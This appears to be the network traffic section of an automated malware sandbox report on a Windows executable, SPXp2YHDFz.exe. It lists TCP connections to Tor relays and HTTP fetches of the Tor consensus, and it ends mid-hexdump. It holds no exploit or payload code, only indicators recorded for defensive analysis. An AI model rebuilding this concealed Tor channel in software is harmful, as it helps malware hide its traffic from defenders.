Oct 24, 2022 11:10:53.343586922 CEST	49702	8080	192.168.2.3	104.131.11.214
Oct 24, 2022 11:10:58.925004005 CEST	49723	9001	192.168.2.3	135.125.202.252
Oct 24, 2022 11:11:01.938168049 CEST	49723	9001	192.168.2.3	135.125.202.252
Oct 24, 2022 11:11:07.211241007 CEST	49724	443	192.168.2.3	62.210.85.178
Oct 24, 2022 11:11:07.211318970 CEST	443	49724	62.210.85.178	192.168.2.3
Oct 24, 2022 11:11:07.211414099 CEST	49724	443	192.168.2.3	62.210.85.178
Oct 24, 2022 11:11:07.215856075 CEST	49724	443	192.168.2.3	62.210.85.178
Oct 24, 2022 11:11:07.215909958 CEST	443	49724	62.210.85.178	192.168.2.3
Oct 24, 2022 11:11:07.945354939 CEST	49723	9001	192.168.2.3	135.125.202.252
Oct 24, 2022 11:11:13.687978983 CEST	443	49724	62.210.85.178	192.168.2.3
Oct 24, 2022 11:11:13.693873882 CEST	49724	443	192.168.2.3	62.210.85.178
Oct 24, 2022 11:11:13.727087975 CEST	49724	443	192.168.2.3	62.210.85.178
Oct 24, 2022 11:11:13.727132082 CEST	443	49724	62.210.85.178	192.168.2.3
Oct 24, 2022 11:11:13.727732897 CEST	443	49724	62.210.85.178	192.168.2.3
Oct 24, 2022 11:11:13.738699913 CEST	49724	443	192.168.2.3	62.210.85.178
Oct 24, 2022 11:11:13.738742113 CEST	443	49724	62.210.85.178	192.168.2.3
Oct 24, 2022 11:11:19.955960035 CEST	49725	443	192.168.2.3	135.148.53.55
Oct 24, 2022 11:11:19.956020117 CEST	443	49725	135.148.53.55	192.168.2.3
Oct 24, 2022 11:11:19.956145048 CEST	49725	443	192.168.2.3	135.148.53.55
Oct 24, 2022 11:11:19.956589937 CEST	49725	443	192.168.2.3	135.148.53.55
Oct 24, 2022 11:11:19.956605911 CEST	443	49725	135.148.53.55	192.168.2.3
Oct 24, 2022 11:11:20.286847115 CEST	443	49725	135.148.53.55	192.168.2.3
Oct 24, 2022 11:11:20.287072897 CEST	49725	443	192.168.2.3	135.148.53.55
Oct 24, 2022 11:11:20.291148901 CEST	49725	443	192.168.2.3	135.148.53.55
Oct 24, 2022 11:11:20.291176081 CEST	443	49725	135.148.53.55	192.168.2.3
Oct 24, 2022 11:11:20.291507006 CEST	443	49725	135.148.53.55	192.168.2.3
Oct 24, 2022 11:11:20.292109013 CEST	49725	443	192.168.2.3	135.148.53.55
Oct 24, 2022 11:11:20.292129040 CEST	443	49725	135.148.53.55	192.168.2.3
Oct 24, 2022 11:11:32.130007982 CEST	9001	49712	107.189.28.121	192.168.2.3
Oct 24, 2022 11:11:32.174313068 CEST	49712	9001	192.168.2.3	107.189.28.121
Oct 24, 2022 11:11:34.689435959 CEST	49726	9990	192.168.2.3	108.240.182.140
Oct 24, 2022 11:11:34.871421099 CEST	9990	49726	108.240.182.140	192.168.2.3
Oct 24, 2022 11:11:34.871555090 CEST	49726	9990	192.168.2.3	108.240.182.140
Oct 24, 2022 11:11:34.871906996 CEST	49726	9990	192.168.2.3	108.240.182.140
Oct 24, 2022 11:11:35.054152012 CEST	9990	49726	108.240.182.140	192.168.2.3
Oct 24, 2022 11:11:35.057310104 CEST	9990	49726	108.240.182.140	192.168.2.3
Oct 24, 2022 11:11:35.101898909 CEST	49726	9990	192.168.2.3	108.240.182.140
Oct 24, 2022 11:11:35.284274101 CEST	9990	49726	108.240.182.140	192.168.2.3
Oct 24, 2022 11:11:35.330813885 CEST	49726	9990	192.168.2.3	108.240.182.140
Oct 24, 2022 11:11:35.390511990 CEST	49726	9990	192.168.2.3	108.240.182.140
Oct 24, 2022 11:11:35.578263998 CEST	9990	49726	108.240.182.140	192.168.2.3
Oct 24, 2022 11:11:35.578310013 CEST	9990	49726	108.240.182.140	192.168.2.3
Oct 24, 2022 11:11:35.578423023 CEST	49726	9990	192.168.2.3	108.240.182.140
Oct 24, 2022 11:11:35.601268053 CEST	49726	9990	192.168.2.3	108.240.182.140
Oct 24, 2022 11:11:35.827007055 CEST	9990	49726	108.240.182.140	192.168.2.3
Oct 24, 2022 11:11:36.168550014 CEST	49727	80	192.168.2.3	176.9.75.110
Oct 24, 2022 11:11:36.191883087 CEST	80	49727	176.9.75.110	192.168.2.3
Oct 24, 2022 11:11:36.191993952 CEST	49727	80	192.168.2.3	176.9.75.110
Oct 24, 2022 11:11:36.235999107 CEST	49727	80	192.168.2.3	176.9.75.110
Oct 24, 2022 11:11:36.259234905 CEST	80	49727	176.9.75.110	192.168.2.3
Oct 24, 2022 11:11:36.259588003 CEST	80	49727	176.9.75.110	192.168.2.3
Oct 24, 2022 11:11:36.259641886 CEST	80	49727	176.9.75.110	192.168.2.3
Oct 24, 2022 11:11:36.259749889 CEST	49727	80	192.168.2.3	176.9.75.110
Oct 24, 2022 11:11:36.266062975 CEST	49727	80	192.168.2.3	176.9.75.110
Oct 24, 2022 11:11:36.267362118 CEST	49728	80	192.168.2.3	199.249.230.184
Oct 24, 2022 11:11:36.289388895 CEST	80	49727	176.9.75.110	192.168.2.3
Oct 24, 2022 11:11:36.429127932 CEST	80	49728	199.249.230.184	192.168.2.3
Oct 24, 2022 11:11:36.429367065 CEST	49728	80	192.168.2.3	199.249.230.184
Oct 24, 2022 11:11:36.436758041 CEST	49728	80	192.168.2.3	199.249.230.184
Oct 24, 2022 11:11:36.755984068 CEST	80	49728	199.249.230.184	192.168.2.3
Oct 24, 2022 11:11:36.826253891 CEST	80	49728	199.249.230.184	192.168.2.3
Oct 24, 2022 11:11:36.826297998 CEST	80	49728	199.249.230.184	192.168.2.3
Oct 24, 2022 11:11:36.826320887 CEST	80	49728	199.249.230.184	192.168.2.3
Oct 24, 2022 11:11:36.826431990 CEST	49728	80	192.168.2.3	199.249.230.184
Oct 24, 2022 11:11:36.826489925 CEST	49728	80	192.168.2.3	199.249.230.184
Oct 24, 2022 11:11:37.211848974 CEST	49728	80	192.168.2.3	199.249.230.184
Oct 24, 2022 11:11:37.212141991 CEST	49726	9990	192.168.2.3	108.240.182.140
Oct 24, 2022 11:11:37.393703938 CEST	9990	49726	108.240.182.140	192.168.2.3
Oct 24, 2022 11:11:37.395046949 CEST	9990	49726	108.240.182.140	192.168.2.3
Oct 24, 2022 11:11:37.411788940 CEST	49729	80	192.168.2.3	185.189.112.162
Oct 24, 2022 11:11:37.430121899 CEST	80	49729	185.189.112.162	192.168.2.3
Oct 24, 2022 11:11:37.430314064 CEST	49729	80	192.168.2.3	185.189.112.162
Oct 24, 2022 11:11:37.431463957 CEST	49729	80	192.168.2.3	185.189.112.162
Oct 24, 2022 11:11:37.448369026 CEST	80	49729	185.189.112.162	192.168.2.3
Oct 24, 2022 11:11:37.449016094 CEST	80	49729	185.189.112.162	192.168.2.3
Oct 24, 2022 11:11:37.449049950 CEST	80	49729	185.189.112.162	192.168.2.3
Oct 24, 2022 11:11:37.449074030 CEST	80	49729	185.189.112.162	192.168.2.3
Oct 24, 2022 11:11:37.449196100 CEST	49729	80	192.168.2.3	185.189.112.162
Oct 24, 2022 11:11:37.458767891 CEST	49729	80	192.168.2.3	185.189.112.162
Oct 24, 2022 11:11:37.459105968 CEST	49726	9990	192.168.2.3	108.240.182.140
Oct 24, 2022 11:11:37.475904942 CEST	80	49729	185.189.112.162	192.168.2.3
Oct 24, 2022 11:11:37.565514088 CEST	80	49728	199.249.230.184	192.168.2.3
Oct 24, 2022 11:11:37.683408976 CEST	9990	49726	108.240.182.140	192.168.2.3
Oct 24, 2022 11:11:39.835350990 CEST	9990	49726	108.240.182.140	192.168.2.3
Oct 24, 2022 11:11:39.837980986 CEST	49726	9990	192.168.2.3	108.240.182.140
Oct 24, 2022 11:11:40.019030094 CEST	9990	49726	108.240.182.140	192.168.2.3
Oct 24, 2022 11:11:40.575648069 CEST	9990	49726	108.240.182.140	192.168.2.3
Oct 24, 2022 11:11:40.580343962 CEST	49726	9990	192.168.2.3	108.240.182.140
Oct 24, 2022 11:11:40.761368990 CEST	9990	49726	108.240.182.140	192.168.2.3
Oct 24, 2022 11:11:40.762742996 CEST	9990	49726	108.240.182.140	192.168.2.3
Oct 24, 2022 11:11:40.766251087 CEST	49726	9990	192.168.2.3	108.240.182.140
Oct 24, 2022 11:11:40.989824057 CEST	9990	49726	108.240.182.140	192.168.2.3
Oct 24, 2022 11:11:43.758435011 CEST	49730	9001	192.168.2.3	108.20.210.121
Oct 24, 2022 11:11:43.902566910 CEST	9001	49730	108.20.210.121	192.168.2.3
Oct 24, 2022 11:11:43.902683020 CEST	49730	9001	192.168.2.3	108.20.210.121
Oct 24, 2022 11:11:43.903120041 CEST	49730	9001	192.168.2.3	108.20.210.121
Oct 24, 2022 11:11:44.048177004 CEST	9001	49730	108.20.210.121	192.168.2.3
Oct 24, 2022 11:11:44.048239946 CEST	9001	49730	108.20.210.121	192.168.2.3
Oct 24, 2022 11:11:44.054071903 CEST	49730	9001	192.168.2.3	108.20.210.121
Oct 24, 2022 11:11:44.197493076 CEST	9001	49730	108.20.210.121	192.168.2.3
Oct 24, 2022 11:11:44.198415041 CEST	49730	9001	192.168.2.3	108.20.210.121
Oct 24, 2022 11:11:44.342480898 CEST	9001	49730	108.20.210.121	192.168.2.3
Oct 24, 2022 11:11:44.342864037 CEST	9001	49730	108.20.210.121	192.168.2.3
Oct 24, 2022 11:11:44.343055964 CEST	49730	9001	192.168.2.3	108.20.210.121
Oct 24, 2022 11:11:44.343055964 CEST	49730	9001	192.168.2.3	108.20.210.121
Oct 24, 2022 11:11:44.535856009 CEST	9001	49730	108.20.210.121	192.168.2.3
Oct 24, 2022 11:11:44.721939087 CEST	49730	9001	192.168.2.3	108.20.210.121
Oct 24, 2022 11:11:44.865453005 CEST	9001	49730	108.20.210.121	192.168.2.3
Oct 24, 2022 11:11:44.866503000 CEST	9001	49730	108.20.210.121	192.168.2.3
Oct 24, 2022 11:11:44.909703970 CEST	49730	9001	192.168.2.3	108.20.210.121
Oct 24, 2022 11:11:47.071679115 CEST	49730	9001	192.168.2.3	108.20.210.121
Oct 24, 2022 11:11:47.258462906 CEST	9001	49730	108.20.210.121	192.168.2.3
Oct 24, 2022 11:11:47.699771881 CEST	9001	49730	108.20.210.121	192.168.2.3
Oct 24, 2022 11:11:47.704622030 CEST	49730	9001	192.168.2.3	108.20.210.121
Oct 24, 2022 11:11:47.849575996 CEST	9001	49730	108.20.210.121	192.168.2.3
Oct 24, 2022 11:11:48.191720009 CEST	9001	49730	108.20.210.121	192.168.2.3
Oct 24, 2022 11:11:48.196480036 CEST	49730	9001	192.168.2.3	108.20.210.121
Oct 24, 2022 11:11:48.340796947 CEST	9001	49730	108.20.210.121	192.168.2.3
Oct 24, 2022 11:11:48.342183113 CEST	9001	49730	108.20.210.121	192.168.2.3
Oct 24, 2022 11:11:48.345383883 CEST	49730	9001	192.168.2.3	108.20.210.121
Oct 24, 2022 11:11:48.530709028 CEST	9001	49730	108.20.210.121	192.168.2.3

HTTP Request Dependency Graph

131.188.40.189

193.23.244.244

194.5.96.70

185.35.202.222

92.222.79.186

199.249.230.177

86.59.21.38

199.249.230.161

199.249.230.174

51.77.109.21

192.160.102.170

217.155.40.118

199.249.230.160

199.249.230.186

74.208.203.175

199.249.230.179

185.216.179.206

94.131.2.71

176.9.75.110

199.249.230.184

185.189.112.162

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49692	131.188.40.189	80	C:\Users\user\Desktop\SPXp2YHDFz.exe

Timestamp	kBytes transferred	Direction	Data
Oct 24, 2022 11:08:53.744261980 CEST	8	OUT	GET /tor/status-vote/current/consensus HTTP/1.0 Host: 131.188.40.189 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Data Raw: 00 Data Ascii:
Oct 24, 2022 11:08:53.764859915 CEST	10	IN	HTTP/1.0 200 OK Date: Mon, 24 Oct 2022 09:08:53 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.15 Content-Encoding: identity Expires: Mon, 24 Oct 2022 10:00:00 GMT Vary: X-Or-Diff-From-Consensus Data Raw: 6e 65 74 77 6f 72 6b 2d 73 74 61 74 75 73 2d 76 65 72 73 69 6f 6e 20 33 0a 76 6f 74 65 2d 73 74 61 74 75 73 20 63 6f 6e 73 65 6e 73 75 73 0a 63 6f 6e 73 65 6e 73 75 73 2d 6d 65 74 68 6f 64 20 33 32 0a 76 61 6c 69 64 2d 61 66 74 65 72 20 32 30 32 32 2d 31 30 2d 32 34 20 30 39 3a 30 30 3a 30 30 0a 66 72 65 73 68 2d 75 6e 74 69 6c 20 32 30 32 32 2d 31 30 2d 32 34 20 31 30 3a 30 30 3a 30 30 0a 76 61 6c 69 64 2d 75 6e 74 69 6c 20 32 30 32 32 2d 31 30 2d 32 34 20 31 32 3a 30 30 3a 30 30 0a 76 6f 74 69 6e 67 2d 64 65 6c 61 79 20 33 30 30 20 33 30 30 0a 63 6c 69 65 6e 74 2d 76 65 72 73 69 6f 6e 73 20 30 2e 34 2e 35 2e 31 2d 61 6c 70 68 61 2c 30 2e 34 2e 35 2e 32 2d 61 6c 70 68 61 2c 30 2e 34 2e 35 2e 33 2d 72 63 2c 30 2e 34 2e 35 2e 34 2d 72 63 2c 30 2e 34 2e 35 2e 35 2d 72 63 2c 30 2e 34 2e 35 2e 36 2c 30 2e 34 2e 35 2e 37 2c 30 2e 34 2e 35 2e 38 2c 30 2e 34 2e 35 2e 39 2c 30 2e 34 2e 35 2e 31 30 2c 30 2e 34 2e 35 2e 31 31 2c 30 2e 34 2e 35 2e 31 32 2c 30 2e 34 2e 35 2e 31 34 2c 30 2e 34 2e 37 2e 31 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 32 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 33 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 34 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 35 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 36 2d 72 63 2c 30 2e 34 2e 37 2e 37 2c 30 2e 34 2e 37 2e 38 2c 30 2e 34 2e 37 2e 31 30 0a 73 65 72 76 65 72 2d 76 65 72 73 69 6f 6e 73 20 30 2e 34 2e 35 2e 35 2d 72 63 2c 30 2e 34 2e 35 2e 36 2c 30 2e 34 2e 35 2e 37 2c 30 2e 34 2e 35 2e 38 2c 30 2e 34 2e 35 2e 39 2c 30 2e 34 2e 35 2e 31 30 2c 30 2e 34 2e 35 2e 31 31 2c 30 2e 34 2e 35 2e 31 32 2c 30 2e 34 2e 35 2e 31 34 2c 30 2e 34 2e 37 2e 31 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 32 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 33 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 34 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 35 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 36 2d 72 63 2c 30 2e 34 2e 37 2e 37 2c 30 2e 34 2e 37 2e 38 2c 30 2e 34 2e 37 2e 31 30 0a 6b 6e 6f 77 6e 2d 66 6c 61 67 73 20 41 75 74 68 6f 72 69 74 79 20 42 61 64 45 78 69 74 20 45 78 69 74 20 46 61 73 74 20 47 75 61 72 64 20 48 53 44 69 72 20 4e 6f 45 64 43 6f 6e 73 65 6e 73 75 73 20 52 75 6e 6e 69 6e 67 20 53 74 61 62 6c 65 20 53 74 61 6c 65 44 65 73 63 20 53 79 62 69 6c 20 56 32 44 69 72 20 56 61 6c 69 64 0a 72 65 63 6f 6d 6d 65 6e 64 65 64 2d 63 6c 69 65 6e 74 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 63 6f 6d 6d 65 6e 64 65 64 2d 72 65 6c 61 79 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 33 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 71 75 69 72 65 64 2d 63 6c 69 65 6e 74 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f 6e 73 3d 32 20 44 65 73 63 3d 32 20 4c 69 6e 6b 3d 34 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 52 65 6c 61 79 3d 32 0a 72 65 71 75 69 72 65 64 2d 72 65 6c 61 79 2d 70 72 6f 74 6f 63 6f 6c 73 20 43 6f Data Ascii: network-status-version 3vote-status consensusconsensus-method 32valid-after 2022-10-24 09:00:00fresh-until 2022-10-24 10:00:00valid-until 2022-10-24 12:00:00voting-delay 300 300client-versions 0.4.5.1-alpha,0.4.5.2-alpha,0.4.5.3-rc,0.4.5.4-rc,0.4.5.5-rc,0.4.5.6,0.4.5.7,0.4.5.8,0.4.5.9,0.4.5.10,0.4.5.11,0.4.5.12,0.4.5.14,0.4.7.1-alpha,0.4.7.2-alpha,0.4.7.3-alpha,0.4.7.4-alpha,0.4.7.5-alpha,0.4.7.6-rc,0.4.7.7,0.4.7.8,0.4.7.10server-versions 0.4.5.5-rc,0.4.5.6,0.4.5.7,0.4.5.8,0.4.5.9,0.4.5.10,0.4.5.11,0.4.5.12,0.4.5.14,0.4.7.1-alpha,0.4.7.2-alpha,0.4.7.3-alpha,0.4.7.4-alpha,0.4.7.5-alpha,0.4.7.6-rc,0.4.7.7,0.4.7.8,0.4.7.10known-flags Authority BadExit Exit Fast Guard HSDir NoEdConsensus Running Stable StaleDesc Sybil V2Dir Validrecommended-client-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 Microdesc=2 Relay=2recommended-relay-protocols Cons=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2required-client-protocols Cons=2 Desc=2 Link=4 Microdesc=2 Relay=2required-relay-protocols Co
Oct 24, 2022 11:08:53.764883041 CEST	10	IN	Data Raw: 6e 73 3d 32 20 44 65 73 63 3d 32 20 44 69 72 43 61 63 68 65 3d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 20 48 53 52 65 6e 64 3d 32 20 4c 69 6e 6b 3d 34 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 33 20 4d 69 63 72 6f 64 65 73 63 3d 32 20 Data Ascii: ns=2 Desc=2 DirCache=2 HSDir=2 HSIntro=4 HSRend=2 Link=4-5 LinkAuth=3 Microdesc=2 Relay=2params CircuitPriorityHalflifeMsec=30000 DoSCircuitCreationBurst=60 DoSCircuitCreationEnabled=1 DoSCircuitCreationMinConnections=2 DoSCircuitCreationRate
Oct 24, 2022 11:08:53.764904022 CEST	12	IN	Data Raw: 74 6f 72 5f 70 65 72 69 6f 64 5f 73 65 63 73 3d 31 30 38 30 30 20 6f 76 65 72 6c 6f 61 64 5f 6f 6e 69 6f 6e 73 6b 69 6e 5f 6e 74 6f 72 5f 73 63 61 6c 65 5f 70 65 72 63 65 6e 74 3d 35 30 30 20 73 65 6e 64 6d 65 5f 65 6d 69 74 5f 6d 69 6e 5f 76 65 Data Ascii: tor_period_secs=10800 overload_onionskin_ntor_scale_percent=500 sendme_emit_min_version=1shared-rand-previous-value 9 CEgH9nGSPGGldWgpTiNB8ktMi7U85TgcE1fpst2jcUc=shared-rand-current-value 9 dn+4b/OLLk84s5H2hUfLnWF+L04m8/PsRA5+jVuyLx8=dir-so
Oct 24, 2022 11:08:53.764921904 CEST	13	IN	Data Raw: 31 38 33 30 39 44 45 44 34 43 44 36 44 35 37 43 31 38 46 44 42 39 37 45 46 41 39 36 44 33 33 30 35 36 36 20 31 32 38 2e 33 31 2e 30 2e 32 34 20 31 32 38 2e 33 31 2e 30 2e 32 34 20 39 31 33 31 20 39 31 30 31 0a 63 6f 6e 74 61 63 74 20 31 30 32 34 Data Ascii: 18309DED4CD6D57C18FDB97EFA96D330566 128.31.0.24 128.31.0.24 9131 9101contact 1024D/EB5A896A28988BF5 arma mit eduvote-digest 86932C67F285958234AF644859B62C071E5CF59Bdir-source dizum E8A9C45EDE6D711294FADF8E7951F4DE6CA56B58 45.66.33.45 45.66.
Oct 24, 2022 11:08:53.764941931 CEST	14	IN	Data Raw: 30 30 3a 31 31 3a 31 31 20 31 33 37 2e 31 38 34 2e 31 33 2e 31 32 30 20 34 34 33 20 30 0a 61 20 5b 32 36 30 34 3a 61 38 38 30 3a 34 3a 31 64 30 3a 3a 32 37 64 3a 66 30 30 30 5d 3a 34 34 33 0a 73 20 46 61 73 74 20 52 75 6e 6e 69 6e 67 20 56 32 44 Data Ascii: 00:11:11 137.184.13.120 443 0a [2604:a880:4:1d0::27d:f000]:443s Fast Running V2Dir Validv Tor 0.4.7.10pr Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Ban
Oct 24, 2022 11:08:53.764965057 CEST	16	IN	Data Raw: 2d 36 35 35 33 35 0a 72 20 53 74 61 72 41 70 70 73 4d 6f 62 6c 65 79 20 41 43 67 37 56 57 54 6a 42 79 33 4e 32 72 4d 64 62 76 59 69 33 55 6d 2f 55 6b 38 20 49 2f 6b 44 6c 44 7a 69 63 33 4c 6b 4b 52 61 68 58 54 70 4a 7a 6e 51 77 79 4d 6f 20 32 30 Data Ascii: -65535r StarAppsMobley ACg7VWTjBy3N2rMdbvYi3Um/Uk8 I/kDlDzic3LkKRahXTpJznQwyMo 2022-10-24 05:47:25 195.15.242.99 9001 0a [2001:1600:10:100::201]:9001s Fast Guard Running Stable V2Dir Validv Tor 0.4.7.7pr Cons=1-2 Desc=1-2 DirCache=2 FlowC
Oct 24, 2022 11:08:53.765003920 CEST	17	IN	Data Raw: 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 Data Ascii: l=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=9300p reject 1-65535r namie AFyL+BoOH3CNtCpXPISvAlpAb88 r9QzCKrNF8lYwbnDnIO0cpavY3k 2022-10-24 02:47:30 109.241.109.93 443 0s Fast Runn
Oct 24, 2022 11:08:53.765026093 CEST	18	IN	Data Raw: 74 20 52 75 6e 6e 69 6e 67 20 53 74 61 62 6c 65 20 56 32 44 69 72 20 56 61 6c 69 64 0a 76 20 54 6f 72 20 30 2e 34 2e 37 2e 31 30 0a 70 72 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 Data Ascii: t Running Stable V2Dir Validv Tor 0.4.7.10pr Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=23000p reject 1-65535r Quintex13 AHe8unJE2z5qXtJ0boYX
Oct 24, 2022 11:08:53.765048981 CEST	20	IN	Data Raw: 52 65 6c 61 79 3d 31 2d 34 0a 77 20 42 61 6e 64 77 69 64 74 68 3d 31 34 0a 70 20 72 65 6a 65 63 74 20 31 2d 36 35 35 33 35 0a 72 20 42 6c 61 63 6b 42 65 6c 75 67 61 20 41 4a 59 74 4c 64 43 35 76 7a 70 71 38 64 58 72 49 42 45 79 4f 49 72 4b 46 43 Data Ascii: Relay=1-4w Bandwidth=14p reject 1-65535r BlackBeluga AJYtLdC5vzpq8dXrIBEyOIrKFCQ Jc3bHf5g0eXR4rkpWM4IWaEcHt0 2022-10-23 21:50:34 5.189.155.39 9001 0s Fast HSDir Running Stable V2Dir Validv Tor 0.4.7.10pr Cons=1-2 Desc=1-2 DirCache=2 Flow
Oct 24, 2022 11:08:53.765069008 CEST	21	IN	Data Raw: 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 77 20 42 61 6e 64 77 69 64 74 68 3d 34 35 30 30 30 0a 70 20 72 65 6a 65 63 74 20 31 Data Ascii: nk=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4w Bandwidth=45000p reject 1-65535r roterechtehand ALwRxEi3DILGEA9bE2LflQpgnwo WpwF6wWcjaeO/w2LTH4vIwDpSWs 2022-10-23 20:25:31 213.144.130.195 4569 0s Fast Running V2Dir Validv Tor 0.4.5
Oct 24, 2022 11:08:53.785578012 CEST	23	IN	Data Raw: 32 33 2c 35 32 32 38 2c 35 39 30 30 2c 36 36 36 30 2d 36 36 36 39 2c 36 36 37 39 2c 36 36 39 37 2c 38 30 30 30 2c 38 30 30 38 2c 38 30 37 34 2c 38 30 38 30 2c 38 30 38 32 2c 38 30 38 37 2d 38 30 38 38 2c 38 33 33 32 2d 38 33 33 33 2c 38 34 34 33 Data Ascii: 23,5228,5900,6660-6669,6679,6697,8000,8008,8074,8080,8082,8087-8088,8332-8333,8443,8888,9418,9999-10000,11371,19294,19638,50002,64738r tried ANLOPCFT6gl4byEF8msTjPdZQk8 3grdaAsHQt8ueF90Mu22lricuaw 2022-10-23 20:28:29 107.155.81.178 443 0s Fa

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49700	193.23.244.244	80	C:\Users\user\Desktop\SPXp2YHDFz.exe

Timestamp	kBytes transferred	Direction	Data
Oct 24, 2022 11:09:02.418644905 CEST	2647	OUT	GET /tor/status-vote/current/consensus HTTP/1.0 Host: 193.23.244.244 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 Data Raw: 00 Data Ascii:
Oct 24, 2022 11:09:02.446290016 CEST	2648	IN	HTTP/1.0 200 OK Date: Mon, 24 Oct 2022 09:09:02 GMT Content-Type: text/plain X-Your-Address-Is: 102.129.143.15 Content-Encoding: identity Expires: Mon, 24 Oct 2022 10:00:00 GMT Vary: X-Or-Diff-From-Consensus Data Raw: 6e 65 74 77 6f 72 6b 2d 73 74 61 74 75 73 2d 76 65 72 73 69 6f 6e 20 33 0a 76 6f 74 65 2d 73 74 61 74 75 73 20 63 6f 6e 73 65 6e 73 75 73 0a 63 6f 6e 73 65 6e 73 75 73 2d 6d 65 74 68 6f 64 20 33 32 0a 76 61 6c 69 64 2d 61 66 74 65 72 20 32 30 32 32 2d 31 30 2d 32 34 20 30 39 3a 30 30 3a 30 30 0a 66 72 65 73 68 2d 75 6e 74 69 6c 20 32 30 32 32 2d 31 30 2d 32 34 20 31 30 3a 30 30 3a 30 30 0a 76 61 6c 69 64 2d 75 6e 74 69 6c 20 32 30 32 32 2d 31 30 2d 32 34 20 31 32 3a 30 30 3a 30 30 0a 76 6f 74 69 6e 67 2d 64 65 6c 61 79 20 33 30 30 20 33 30 30 0a 63 6c 69 65 6e 74 2d 76 65 72 73 69 6f 6e 73 20 30 2e 34 2e 35 2e 31 2d 61 6c 70 68 61 2c 30 2e 34 2e 35 2e 32 2d 61 6c 70 68 61 2c 30 2e 34 2e 35 2e 33 2d 72 63 2c 30 2e 34 2e 35 2e 34 2d 72 63 2c 30 2e 34 2e 35 2e 35 2d 72 63 2c 30 2e 34 2e 35 2e 36 2c 30 2e 34 2e 35 2e 37 2c 30 2e 34 2e 35 2e 38 2c 30 2e 34 2e 35 2e 39 2c 30 2e 34 2e 35 2e 31 30 2c 30 2e 34 2e 35 2e 31 31 2c 30 2e 34 2e 35 2e 31 32 2c 30 2e 34 2e 35 2e 31 34 2c 30 2e 34 2e 37 2e 31 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 32 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 33 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 34 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 35 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 36 2d 72 63 2c 30 2e 34 2e 37 2e 37 2c 30 2e 34 2e 37 2e 38 2c 30 2e 34 2e 37 2e 31 30 0a 73 65 72 76 65 72 2d 76 65 72 73 69 6f 6e 73 20 30 2e 34 2e 35 2e 35 2d 72 63 2c 30 2e 34 2e 35 2e 36 2c 30 2e 34 2e 35 2e 37 2c 30 2e 34 2e 35 2e 38 2c 30 2e 34 2e 35 2e 39 2c 30 2e 34 2e 35 2e 31 30 2c 30 2e 34 2e 35 2e 31 31 2c 30 2e 34 2e 35 2e 31 32 2c 30 2e 34 2e 35 2e 31 34 2c 30 2e 34 2e 37 2e 31 2d 61 6c 70 68 61 2c 30 2e 34 2e 37 2e 32 2d 61 6c 70 